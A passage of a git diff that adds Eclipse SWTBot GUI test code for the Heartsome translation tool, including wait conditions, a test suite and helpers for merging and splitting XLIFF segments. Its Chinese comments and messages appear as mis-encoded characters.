SWTBotTreeItem[] items = ProjectTreeView.getTree().getAllItems(); + + for (SWTBotTreeItem item : items) { + if (projectName.equals(item.getText())) { + result = true; + break; + } + } + return result; + } + + /** + * (non-Javadoc) + * @see org.eclipse.swtbot.swt.finder.waits.ICondition#getFailureMessage() + */ + public String getFailureMessage() { + return "未在项目导航树上找到项目:" + projectName; + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/waits/IsProjectNotExist.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/waits/IsProjectNotExist.java new file mode 100644 index 0000000..3888105 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/waits/IsProjectNotExist.java @@ -0,0 +1,47 @@ +package net.heartsome.cat.ts.test.ui.waits; + +import static org.junit.Assert.assertTrue; +import net.heartsome.cat.ts.test.ui.views.ProjectTreeView; + +import org.eclipse.swtbot.swt.finder.waits.DefaultCondition; +import org.eclipse.swtbot.swt.finder.widgets.SWTBotTreeItem; + +/** + * 判断项目是å¦ä¸åœ¨é¡¹ç›®å¯¼èˆªæ ‘上。 + */ +public class IsProjectNotExist extends DefaultCondition { + + private String projectName; + + /** + * @param projectName + * 从项目树中查找匹é…的项目å称。 + */ + public IsProjectNotExist(String projectName) { + assertTrue("项目å称ä¸èƒ½ä¸ºç©ºæˆ– null。", (projectName != null && !"".equals(projectName))); + this.projectName = projectName; + } + + /** (non-Javadoc) + * @see org.eclipse.swtbot.swt.finder.waits.ICondition#test() + */ + public boolean test() throws Exception { + boolean result = true; + SWTBotTreeItem[] items = ProjectTreeView.getTree().getAllItems(); + + for (SWTBotTreeItem item : items) { + if (projectName.equals(item.getText())) { + result = false; + break; + } + } + return result; + } + + /** (non-Javadoc) + * @see org.eclipse.swtbot.swt.finder.waits.ICondition#getFailureMessage() + */ + public String getFailureMessage() { + return "ä»å¯åœ¨é¡¹ç›®å¯¼èˆªæ ‘上找到项目:" + projectName; + } +} diff --git a/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/waits/IsSegmentSelected.java b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/waits/IsSegmentSelected.java new file mode 100644 index 0000000..741ad88 --- /dev/null +++ b/test/net.heartsome.cat.ts.test.ui/src/net/heartsome/cat/ts/test/ui/waits/IsSegmentSelected.java @@ -0,0 +1,44 @@ +package net.heartsome.cat.ts.test.ui.waits; + +import net.heartsome.cat.ts.test.ui.editors.XlfEditor; +import net.heartsome.test.swtbot.widgets.SWTBotNatTable; + +import org.eclipse.swtbot.swt.finder.waits.DefaultCondition; + +/** + * 判断编辑器的指定文本段是å¦è¢«é€‰ä¸­ã€‚ + */ +public class IsSegmentSelected extends DefaultCondition { + + private XlfEditor xlfEditor; + private SWTBotNatTable nattable; + private int targetRowIndex; + private int currentRowIndex; + + /** + * @param xlfEditor + * @param targetRowIndex + */ + public IsSegmentSelected(XlfEditor xlfEditor, int targetRowIndex) { + this.xlfEditor = xlfEditor; + nattable = xlfEditor.nattable; + this.targetRowIndex = targetRowIndex; + } + + /** + * (non-Javadoc) + * @see org.eclipse.swtbot.swt.finder.waits.ICondition#test() + */ + public boolean test() throws Exception { + currentRowIndex = nattable.indexOfSelectedRow(xlfEditor.positionOfTargetTextColumn()); + return targetRowIndex == currentRowIndex; + } + + /** + * (non-Javadoc) + * @see org.eclipse.swtbot.swt.finder.waits.ICondition#getFailureMessage() + */ + public String getFailureMessage() { + return "以下文本段未被选中:" + targetRowIndex; + } +} diff --git a/test/net.heartsome.cat.ts.test/.classpath b/test/net.heartsome.cat.ts.test/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/test/net.heartsome.cat.ts.test/.gitignore b/test/net.heartsome.cat.ts.test/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/test/net.heartsome.cat.ts.test/.project b/test/net.heartsome.cat.ts.test/.project new file mode 100644 index 0000000..f8edd88 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.test + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/test/net.heartsome.cat.ts.test/.settings/org.eclipse.jdt.core.prefs b/test/net.heartsome.cat.ts.test/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..e02362f --- /dev/null +++ b/test/net.heartsome.cat.ts.test/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Thu Dec 29 14:44:02 HKT 2011 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/test/net.heartsome.cat.ts.test/META-INF/MANIFEST.MF b/test/net.heartsome.cat.ts.test/META-INF/MANIFEST.MF new file mode 100644 index 0000000..86852b7 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/META-INF/MANIFEST.MF @@ -0,0 +1,17 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: net.heartsome.cat.ts.test +Bundle-SymbolicName: net.heartsome.cat.ts.test +Bundle-Version: 1.0.0.qualifier +Bundle-Vendor: Heartsome +Require-Bundle: net.heartsome.cat.ts.test.basecase;bundle-version="1.0.0", + net.heartsome.cat.ts.test.ui;bundle-version="1.0.0", + net.heartsome.test.swtbot;bundle-version="1.0.0", + net.heartsome.test.thirdpartylibrary;bundle-version="1.0.0", + net.heartsome.test.utilities;bundle-version="1.0.0", + org.eclipse.swtbot.go, + org.apache.log4j +Bundle-RequiredExecutionEnvironment: JavaSE-1.6 +Eclipse-RegisterBuddy: org.apache.log4j +Export-Package: net.heartsome.cat.ts.test.basecase +Import-Package: org.eclipse.swtbot.mockdialogs.factory diff --git a/test/net.heartsome.cat.ts.test/build.properties b/test/net.heartsome.cat.ts.test/build.properties new file mode 100644 index 0000000..34d2e4d --- /dev/null +++ b/test/net.heartsome.cat.ts.test/build.properties @@ -0,0 +1,4 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/test/net.heartsome.cat.ts.test/src/log4j.xml b/test/net.heartsome.cat.ts.test/src/log4j.xml new file mode 100644 index 0000000..ea16d13 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/src/log4j.xml @@ -0,0 +1,60 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/AllTests.java b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/AllTests.java new file mode 100644 index 0000000..4e0e25d --- /dev/null +++ b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/AllTests.java @@ -0,0 +1,27 @@ +package net.heartsome.cat.ts.test; + +import junit.framework.TestSuite; +import net.heartsome.cat.ts.test.menu.db.DatabaseTest; +import net.heartsome.cat.ts.test.menu.db.ImportToDBTest; +import net.heartsome.cat.ts.test.menu.db.MemoryDatabaseTest; +import net.heartsome.cat.ts.test.menu.file.ProjectOperationTest; + +import org.junit.runner.RunWith; +import org.junit.runners.Suite; +import org.junit.runners.Suite.SuiteClasses; + +/** + * åŒ…å« HSCAT8 TS 所有测试用例的测试套件。 + * @author felix_lu + * @version + * @since JDK1.6 + */ +@RunWith(Suite.class) +@SuiteClasses({ +// ProjectOperationTest.class, +// DatabaseTest.class, + MemoryDatabaseTest.class, + ImportToDBTest.class }) +public class AllTests extends TestSuite { + +} diff --git a/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/TSTest.java b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/TSTest.java new file mode 100644 index 0000000..5882b53 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/TSTest.java @@ -0,0 +1,34 @@ +package net.heartsome.cat.ts.test; + +import static org.junit.Assert.assertTrue; + +import org.eclipse.swtbot.eclipse.finder.SWTWorkbenchBot; +import org.junit.BeforeClass; +import org.junit.Ignore; +import org.junit.Test; + +public class TSTest { + + private static SWTWorkbenchBot bot; + + @BeforeClass + public static void setup() { + bot = new SWTWorkbenchBot(); + } + + @Test + public void FirstTest() { + bot.menu("File").isVisible(); + } + + @Ignore + @Test + public void SecondTest() { + assertTrue(false); + } + + @Test + public void ThirdTest() { + assertTrue(true); + } +} diff --git a/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/basecase/CustomFilter.java b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/basecase/CustomFilter.java new file mode 100644 index 0000000..ece389b --- /dev/null +++ b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/basecase/CustomFilter.java @@ -0,0 +1,60 @@ +package net.heartsome.cat.ts.test.basecase; + +import net.heartsome.cat.ts.test.ui.dialogs.ManageCustomFilterDialog; +import net.heartsome.cat.ts.test.ui.editors.XlfEditor; +import net.heartsome.cat.ts.test.ui.tasks.Waits; + + +/** + * 自定义过滤器相关æ“作 + * @author felix_lu + * + */ +public class CustomFilter { + + private XlfEditor xe; + private ManageCustomFilterDialog mcfd; + + public CustomFilter(XlfEditor xe) { + this.xe = xe; + } + + public void addFilter(String filterName, String matchAndOr, String[]... conditions) { + } + + public void openDialog() { + xe.btnAddCustomFilter().click(); + mcfd = new ManageCustomFilterDialog(); + mcfd.isActive(); + } + + public void closeDialog() { + mcfd = new ManageCustomFilterDialog(); + mcfd.btnClose().click(); + Waits.shellClosed(mcfd); + } + + public void saveFilter(String isValid) { + + } + + public void addFilter_Name(String filterName, String isValid) { + + } + + public void addCondition_Keyword(String matchType, String keywordValue, boolean isValid) { + + } + + public void addCondition_State(String matchType, String stateValue, boolean isValid) { + + } + + public void addCondition_Note(String matchType, String noteValue, boolean isValid) { + + } + + public void addCondition_Prop(String propName, String propValue, boolean isValid) { + + } +} diff --git a/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/basecase/MergeSegments.java b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/basecase/MergeSegments.java new file mode 100644 index 0000000..781e987 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/basecase/MergeSegments.java @@ -0,0 +1,217 @@ +package net.heartsome.cat.ts.test.basecase; + +import static org.junit.Assert.assertTrue; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.cat.ts.test.ui.dialogs.TS; +import net.heartsome.cat.ts.test.ui.editors.XlfEditor; +import net.heartsome.cat.ts.test.ui.msgdialogs.InformationDialog; +import net.heartsome.cat.ts.test.ui.tasks.SegmentAsserts; +import net.heartsome.cat.ts.test.ui.utils.XliffUtil; + +/** + * åˆå¹¶æ–‡æœ¬æ®µçš„常用方法 + * @author felix_lu + * + */ +public class MergeSegments { + + static TS ts = TS.getInstance(); + + /** + * åˆå¹¶ä¸¤ä¸ªæ–‡æœ¬æ®µï¼Œä»…适åˆèƒ½å–到è¦åˆå¹¶çš„两个文本段åºå·çš„情况 + * @param xe è¦æ“作的 XliffEditor 对象 + * @param segNum ç”±è¦åˆå¹¶çš„两个文本段åºå·ç»„æˆçš„ int 数组 + * @param direction åˆå¹¶æ–¹å‘:N 表示 Next,å³ä¸Žä¸‹ä¸€æ–‡æœ¬æ®µåˆå¹¶ï¼›P 表示 Previous,å³ä¸Žä¸Šä¸€æ–‡æœ¬æ®µåˆå¹¶ + */ + public static void MergeSegs(XlfEditor xe, int[] segNum, String direction) { + + // 先判断传入的方å‘å‚数是å¦æ­£ç¡® + assertTrue("Wrong value for parameter \"direction\".", "N".equals(direction) || "P".equals(direction)); + + String[] rowID = new String[2]; + XliffUtil[] xu = new XliffUtil[2]; + String[] tuid = new String[2]; + String[] srcText = new String[2]; + + for (int i = 0; i < 2; i++) { + rowID[i] = xe.rowIdOfSegNum(segNum[i]); + xu[i] = new XliffUtil(rowID[i]); + tuid[i] = xu[i].getTUID(); + srcText[i] = xu[i].getSourceText(); + } + + // 判断两个文本段符åˆåˆå¹¶æ–‡æœ¬æ®µçš„æ¡ä»¶ + if (SegmentAsserts.segsAreMergeable(xe, xu[0], xu[1])) { + + // 预先得到åˆå¹¶åŽçš„æºæ–‡æœ¬å†…容 + String tag = ""; + String expectedText = srcText[0] + tag + srcText[1]; + + // 跳到指定文本段,执行åˆå¹¶æ“作 + // æ–¹å‘为与下一文本段åˆå¹¶ + if (direction.equals("N")) { + xe.gotoSeg(segNum[0]); +// ts.menuTranslationMergeWithNextSegment().click(); // FIXME + } + + // æ–¹å‘为与上一文本段åˆå¹¶ + else { + xe.gotoSeg(segNum[1]); +// ts.menuTranslationMergeWithPreivousSegment().click(); // FIXME + } + + // æ›´æ–° NatTable + xe.getNatTable(); + + // æ›´æ–° XliffUtil + for (int i = 0; i < 2; i++) { + xu[i] = new XliffUtil(rowID[i]); + } + + // 断言指定的两个文本段已ç»æˆåŠŸåˆå¹¶ + SegmentAsserts.segsAreMerged(xu, tuid, expectedText); + } + + // ä¸ç¬¦åˆåˆå¹¶æ¡ä»¶ + else { + + // 跳到指定文本段,å°è¯•æ‰§è¡Œåˆå¹¶æ“作 + TryMergeAndVerifyMsg(xe, xu[0], xu[1], segNum[0], segNum[1], direction); + + // æ›´æ–° NatTable + xe.getNatTable(); + + // æ›´æ–° XliffUtil + for (int i = 0; i < 2; i++) { + xu[i] = new XliffUtil(rowID[i]); + } + + // 断言指定的两个文本段没有被åˆå¹¶ + SegmentAsserts.segsNotMerged(xu, tuid, srcText); + } + } + + /** + * 指定两个文本段,由第一个文本段与第二个文本段åˆå¹¶ + * @param xe è¦æ“作的 XlfEditor 对象 + * @param segNum ç”±è¦åˆå¹¶çš„两个文本段åºå·ç»„æˆçš„ int 数组 + */ + public static void MergeWithNextSeg(XlfEditor xe, int[] segNum) { + MergeSegs(xe, segNum, "N"); + } + + /** + * 指定两个文本段,由第二个文本段与第一个文本段åˆå¹¶ + * @param xe è¦æ“作的 XlfEditor 对象 + * @param segNum ç”±è¦åˆå¹¶çš„两个文本段åºå·ç»„æˆçš„ int 数组 + */ + public static void MergeWithPrevSeg(XlfEditor xe, int[] segNum) { + MergeSegs(xe, segNum, "P"); + } + + /** + * å°è¯•å°†æœ€åŽä¸€ä¸ªæ–‡æœ¬æ®µä¸Žä¸‹ä¸€ä¸ªæ–‡æœ¬æ®µåˆå¹¶ + * @param xe XlfEditor 编辑器 + * @param segNum 文本段åºå· + */ + public static void MergeWithNoNext(XlfEditor xe, int segNum) { + MergeWithNoPartner(xe, segNum, "N"); + } + + /** + * å°è¯•å°†ç¬¬ä¸€ä¸ªæ–‡æœ¬æ®µä¸Žä¸Šä¸€ä¸ªæ–‡æœ¬æ®µåˆå¹¶ + * @param xe XlfEditor 编辑器 + * @param segNum 文本段åºå· + */ + public static void MergeWithNoPrev(XlfEditor xe, int segNum) { + MergeWithNoPartner(xe, segNum, "P"); + } + + /** + * å°è¯•å°†æ–‡æœ¬æ®µä¸Žä¸å­˜åœ¨çš„上/下一个文本段åˆå¹¶ + * @param xe 编辑器 + * @param segNum 文本段åºå· + * @param direction åˆå¹¶æ–¹å‘,åªèƒ½ä¸º N 或 P + */ + private static void MergeWithNoPartner(XlfEditor xe, int segNum, String direction) { + + assertTrue("Wrong value for parameter \"direction\".", "N".equals(direction) || "P".equals(direction)); + + String rowID = xe.rowIdOfSegNum(segNum); + XliffUtil xu = new XliffUtil(rowID); + String tuid = xu.getTUID(); + String srcText = xu.getSourceText(); + + if ("N".equals(direction)) { + TryMergeAndVerifyMsg(xe, xu, null, segNum, 0, "N"); + } + else { + TryMergeAndVerifyMsg(xe, null, xu, 0, segNum, "P"); + } + + // æ›´æ–° NatTable + xe.getNatTable(); + + // æ›´æ–° XliffUtil + xu = new XliffUtil(rowID); + + // 断言文本段没有被改动 + SegmentAsserts.segNoChange(xu, tuid, srcText); + } + + /** + * å°è¯•åˆå¹¶ä¸å¯åˆå¹¶çš„文本段,并验è¯å‡ºçŽ°çš„ä¿¡æ¯å¯¹è¯æ¡† + * @param xe 编辑器 + * @param xu1 第一个(å³æ¬²ä¸Žä¸‹ä¸€ä¸ªæ–‡æœ¬æ®µåˆå¹¶çš„)文本段 XliffUtil 对象 + * @param xu2 第二个(å³æ¬²ä¸Žä¸Šä¸€ä¸ªæ–‡æœ¬æ®µåˆå¹¶çš„)文本段 XliffUtil 对象 + * @param segNum1 第一个文本段åºå· + * @param segNum2 第二个文本段åºå· + * @param direction åˆå¹¶æ–¹å‘,åªå…许为 N 或 P + */ + private static void TryMergeAndVerifyMsg(XlfEditor xe, XliffUtil xu1, XliffUtil xu2, + int segNum1, int segNum2, String direction) { + + // 先判断传入的方å‘å‚数是å¦æ­£ç¡® + assertTrue("Wrong value for parameter \"direction\".", "N".equals(direction) || "P".equals(direction)); + + // æ–¹å‘为与下一文本段åˆå¹¶ + if ("N".equals(direction)) { + xe.gotoSeg(segNum1); +// ts.menuTranslationMergeWithNextSegment().click(); // FIXME + + // 若未找到下一个éžç©ºæ–‡æœ¬æ®µï¼Œåˆ™éªŒè¯å¼¹å‡ºçš„ä¿¡æ¯å¯¹è¯æ¡† + if (xu1.getNextNotNullXU() == null) { + InformationDialog cnms = new InformationDialog(1, + TsUIConstants.getString("msgCannotMergeSegWhenNoNextSeg")); + cnms.lblMessage().isVisible(); + cnms.btnOK().click(); + } + } + + // æ–¹å‘为与上一文本段åˆå¹¶ + else { + xe.gotoSeg(segNum2); +// ts.menuTranslationMergeWithPreivousSegment().click(); // FIXME + + // 若未找到上一个éžç©ºæ–‡æœ¬æ®µï¼Œåˆ™éªŒè¯å¼¹å‡ºçš„ä¿¡æ¯å¯¹è¯æ¡† + if (xu2.getPrevNotNullXU() == null) { + InformationDialog cnms = new InformationDialog(1, + TsUIConstants.getString("msgCannotMergeSegWhenNoPrevSeg")); + cnms.lblMessage().isVisible(); + cnms.btnOK().click(); + } + } + + // 若两个文本段中任一个为已批准,则验è¯å¼¹å‡ºçš„ä¿¡æ¯å¯¹è¯æ¡† + if (xu1.tuIsApproved() || xu2.tuIsApproved()) { + InformationDialog cnmas = new InformationDialog(1, + TsUIConstants.getString("msgCannotMergeApprovedSeg")); + cnmas.lblMessage().isVisible(); + cnmas.btnOK().click(); + } + + // TODO æ ¹æ®å…·ä½“的实现决定是å¦éœ€è¦å¢žåŠ æ›´å¤šä¿¡æ¯å¯¹è¯æ¡†ç›¸å…³åˆ¤æ–­ï¼Œæ¯”如å°è¯•åˆå¹¶é”定文本段时 + } + + +} diff --git a/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/basecase/SplitSegment.java b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/basecase/SplitSegment.java new file mode 100644 index 0000000..eff4707 --- /dev/null +++ b/test/net.heartsome.cat.ts.test/src/net/heartsome/cat/ts/test/basecase/SplitSegment.java @@ -0,0 +1,280 @@ +package net.heartsome.cat.ts.test.basecase; + +import static org.junit.Assert.assertTrue; +import net.heartsome.cat.ts.test.ui.constants.TsUIConstants; +import net.heartsome.cat.ts.test.ui.dialogs.TS; +import net.heartsome.cat.ts.test.ui.editors.XlfEditor; +import net.heartsome.cat.ts.test.ui.msgdialogs.InformationDialog; +import net.heartsome.cat.ts.test.ui.tasks.SegmentAsserts; +import net.heartsome.cat.ts.test.ui.utils.XliffUtil; +import net.heartsome.test.swtbot.utils.HSBot; +import net.heartsome.test.swtbot.widgets.SWTBotNatTable; +import net.heartsome.test.swtbot.widgets.HsSWTBotStyledText; +import net.heartsome.test.utilities.common.StringUtil; + +import org.eclipse.swtbot.swt.finder.utils.Position; + +/** + * 分割文本段的常用方法 + * @author felix_lu + * + */ +public class SplitSegment { + + static TS ts = TS.getInstance(); + + + /** + * 在指定文本段的 index 处分割文本段 + * @param xe + * @param segNum + * @param splitIndex + */ + public static void splitAt(XlfEditor xe, int segNum, int splitIndex) { + // 判断该文本段是å¦å¯ç¼–辑 + String rowID = xe.rowIdOfSegNum(segNum); + XliffUtil xu = new XliffUtil(rowID); + SegmentAsserts.segIsEditable(xu); + + // 进入编辑模å¼ï¼Œæ–¹ä¾¿è¯»å–æ ·å¼æ–‡æœ¬æ¡†ä¸­çš„内容 + xe.enterEditModeSource(segNum); + + // 在实际进行分割文本段之å‰ï¼Œå¾—到原文本段的 tuid 和分割åŽä¸¤ä¸ªæ–‡æœ¬æ®µçš„预期内容, + // 用以在分割åŽéªŒè¯å¾—到的文本段内容是å¦ç¬¦åˆé¢„期。 + String tuid = xe.tuidOfSegNum(segNum); + + // 判断给定的分割点是å¦å¯åˆ†å‰²ï¼Œç„¶åŽåœ¨ä¸¤ä¸ªåˆ†æ”¯ä¸­åˆ†åˆ«éªŒè¯ç»“æžœ + HsSWTBotStyledText st = xe.getStyledText(); + + if (SegmentAsserts.indexIsSplitable(st, splitIndex)) { + String[] expectedText = st.splitTextAt(splitIndex); + + // 将光标移到指定ä½ç½®ï¼Œå¹¶ç‚¹å‡»ç›¸åº”çš„èœå•é¡¹è¿›è¡Œåˆ†å‰² + xe.navigateToIndex(splitIndex); + ts.menuTranslationSplitSegment().click(); + xe.getNatTable(); + + // 确认文本段已按预期分割 + SegmentAsserts.segIsSplit(tuid, expectedText, xe.getSplitXliffUtil(expectedText)); + System.out.println("[Passed] Segment No.\"" + segNum + "\" was successfully split at Index \"" + splitIndex + "\"."); + } + else { + String expectedText = st.getText(); + String position; + + // 将光标移到指定ä½ç½®ï¼Œå¹¶ç‚¹å‡»ç›¸åº”çš„èœå•é¡¹è¿›è¡Œåˆ†å‰² + if (splitIndex <= 0) { + position = "Beginning."; + xe.navigateToBegining(); + } + else { + position = "End."; + xe.navigateToEnd(); + } + ts.menuTranslationSplitSegment().click(); + + // 弹出æç¤ºä¿¡æ¯ + InformationDialog dialog = new InformationDialog(1, + TsUIConstants.getString("msgPlaceCursorToSplit")); + dialog.lblMessage().isVisible(); + dialog.btnOK().click(); + + xe.getNatTable(); + + // 确认文本段没有被分割 + SegmentAsserts.segNotSplit(tuid, expectedText, xu); + System.out.println("[Passed] Segment No.\"" + segNum + "\" was not split at the " + position); + } + } + + /** + * @param xe è¦æ“作的 XlfEditor 对象 + * @param segNum è¦åˆ†å‰²çš„文本段åºå· + * @param afterText 在此文本之åŽåˆ†å‰² + */ + public static void splitAfter(XlfEditor xe, int segNum, String afterText) { + SWTBotNatTable nt = xe.getNatTable(); + xe.selectSourceCell(segNum); + Position pos = nt.positionOfSelectedCell(); + String expectedText = nt.getTextByPosition(pos.line, pos.column); + int splitIndex = StringUtil.indexAfterWithAssert(expectedText, afterText); + splitAt(xe, segNum, splitIndex); + } + + /** + * @param xe è¦æ“作的 XlfEditor 对象 + * @param segSourceText è¦åˆ†å‰²çš„文本段æºæ–‡æœ¬å†…容 + * @param afterText 在此文本之åŽåˆ†å‰² + */ + public static void splitAfter(XlfEditor xe, String segSourceText, String afterText) { + int segNum = xe.segNumOfSource(segSourceText); + splitAfter(xe, segNum, afterText); + } + + /** + * @param xe è¦æ“作的 XlfEditor 对象 + * @param segNum è¦åˆ†å‰²çš„文本段åºå· + * @param beforeText 在此文本之å‰åˆ†å‰² + */ + public static void splitBefore(XlfEditor xe, int segNum, String beforeText) { + SWTBotNatTable nt = xe.getNatTable(); + xe.selectSourceCell(segNum); + Position pos = nt.positionOfSelectedCell(); + String expectedText = nt.getTextByPosition(pos.line, pos.column); + int splitIndex = StringUtil.indexBeforeWithAssert(expectedText, beforeText); + splitAt(xe, segNum, splitIndex); + } + + /** + * @param xe è¦æ“作的 XlfEditor 对象 + * @param segSourceText è¦åˆ†å‰²çš„文本段æºæ–‡æœ¬å†…容 + * @param beforeText 在此文本之å‰åˆ†å‰² + */ + public static void splitBefore(XlfEditor xe, String segSourceText, String beforeText) { + int segNum = xe.segNumOfSource(segSourceText); + splitBefore(xe, segNum, beforeText); + } + + /** + * @param xe è¦æ“作的 XlfEditor 对象 + * @param segNum è¦åˆ†å‰²çš„文本段åºå· + * @param afterText 在此文本之åŽåˆ†å‰²ï¼Œæ­¤å†…容在文本段中必须与下一个å‚数相邻 + * @param beforeText 在此文本之å‰åˆ†å‰²ï¼Œæ­¤å†…容在文本段中必须与上一个å‚数相邻 + */ + public static void splitBetween(XlfEditor xe, int segNum, String afterText, String beforeText) { + SWTBotNatTable nt = xe.getNatTable(); + xe.selectSourceCell(segNum); + Position pos = nt.positionOfSelectedCell(); + String expectedText = nt.getTextByPosition(pos.line, pos.column); + int splitIndex = StringUtil.indexBetweenWithAssert(expectedText, afterText, beforeText); + splitAt(xe, segNum, splitIndex); + } + + /** + * @param xe è¦æ“作的 XlfEditor 对象 + * @param segSourceText è¦åˆ†å‰²çš„文本段æºæ–‡æœ¬å†…容 + * @param afterText 在此文本之åŽåˆ†å‰²ï¼Œæ­¤å†…容在文本段中必须与下一个å‚数相邻 + * @param beforeText 在此文本之å‰åˆ†å‰²ï¼Œæ­¤å†…容在文本段中必须与上一个å‚数相邻 + */ + public static void splitBetween(XlfEditor xe, String segSourceText, String afterText, String beforeText) { + int segNum = xe.segNumOfSource(segSourceText); + splitBetween(xe, segNum, afterText, beforeText); + } + + /** + * å°è¯•ä»Žæ®µé¦–分割文本段 + * @param xe è¦æ“作的 XlfEditor 对象 + * @param segNum å°è¯•åˆ†å‰²çš„文本段åºå· + */ + public static void splitAtBeginning(XlfEditor xe, int segNum) { + splitAt(xe, segNum, 0); + } + + /** + * å°è¯•ä»Žæ®µæœ«åˆ†å‰²æ–‡æœ¬æ®µ + * @param xe è¦æ“作的 XlfEditor 对象 + * @param segNum å°è¯•åˆ†å‰²çš„文本段åºå· + */ + public static void splitAtEnd(XlfEditor xe, int segNum) { + SWTBotNatTable nt = xe.getNatTable(); + xe.selectSourceCell(segNum); + Position pos = nt.positionOfSelectedCell(); + String expectedText = nt.getTextByPosition(pos.line, pos.column); + int splitIndex = expectedText.length(); + splitAt(xe, segNum, splitIndex); + } + + /** + * å°è¯•ä¸å°†å…‰æ ‡ç½®äºŽæºæ–‡æœ¬ä¸­ç›´æŽ¥åˆ†å‰² + * @param xe è¦æ“作的 XlfEditor 对象 + * @param segNum å°è¯•åˆ†å‰²çš„文本段åºå· + */ + public static void splitWithoutCursor(XlfEditor xe, int segNum) { + + // 判断该文本段是å¦å¯ç¼–辑 + String rowID = xe.rowIdOfSegNum(segNum); + XliffUtil xu = new XliffUtil(rowID); + SegmentAsserts.segIsEditable(xu); + + // 选中文本段的æºæ–‡æœ¬å•å…ƒæ ¼ï¼Œè€Œä¸è¿›å…¥ç¼–è¾‘çŠ¶æ€ + xe.selectSourceCell(segNum); + + // 在实际进行分割文本段之å‰ï¼Œå¾—到原文本段的 tuid,用以验è¯å¾—到的文本段内容是å¦ç¬¦åˆé¢„期。 + String tuid = xe.tuidOfSegNum(segNum); + + // 判断给定的分割点是å¦å¯åˆ†å‰² + SWTBotNatTable nt = xe.getNatTable(); + Position pos = nt.positionOfSelectedCell(); + String expectedText = nt.getTextByPosition(pos.line, pos.column); + + // 点击相应的èœå•é¡¹è¿›è¡Œåˆ†å‰² + ts.menuTranslationSplitSegment().click(); + + // 弹出æç¤ºä¿¡æ¯ + InformationDialog dialog = new InformationDialog(1, + TsUIConstants.getString("msgPlaceCursorToSplit")); + dialog.lblMessage().isVisible(); + dialog.btnOK().click(); + + xe.getNatTable(); + + // 确认文本段没有被分割 + SegmentAsserts.segNotSplit(tuid, expectedText, xu); + } + + /** + * å°è¯•åˆ†å‰²å·²æ‰¹å‡†çš„文本段 + * @param xe è¦æ“作的 XlfEditor 对象 + * @param segNum å°è¯•åˆ†å‰²çš„文本段åºå· + */ + public static void splitApprovedSeg(XlfEditor xe, int segNum) { + + // 判断该文本段是å¦å·²æ‰¹å‡† + String rowID = xe.rowIdOfSegNum(segNum); + XliffUtil xu = new XliffUtil(rowID); + assertTrue(xu.tuIsApproved()); + + // 进入编辑模å¼ï¼Œæ–¹ä¾¿è¯»å–æ ·å¼æ–‡æœ¬æ¡†ä¸­çš„内容 + xe.enterEditModeSource(segNum); + + // 在实际进行分割文本段之å‰ï¼Œå¾—到原文本段的 tuid 和分割åŽä¸¤ä¸ªæ–‡æœ¬æ®µçš„预期内容, + // 用以在分割åŽéªŒè¯å¾—到的文本段内容是å¦ç¬¦åˆé¢„期。 + String tuid = xe.tuidOfSegNum(segNum); + + // 判断给定的分割点是å¦å¯åˆ†å‰² + HsSWTBotStyledText st = xe.getStyledText(); + String expectedText = st.getText(); + + // 将光标移到任æ„ä½ç½®ï¼ˆè¿™é‡Œå– index=1),并点击相应的èœå•é¡¹è¿›è¡Œåˆ†å‰² + xe.navigateToIndex(1); + ts.menuTranslationSplitSegment().click(); + + // 弹出æç¤ºä¿¡æ¯ + InformationDialog dialog = new InformationDialog(1, + TsUIConstants.getString("msgCannotMergeApprovedSeg")); + dialog.lblMessage().isVisible(); + dialog.btnOK().click(); + + xe.getNatTable(); + + // 确认文本段没有被分割 + SegmentAsserts.segNotSplit(tuid, expectedText, xu); + } + + /** + * 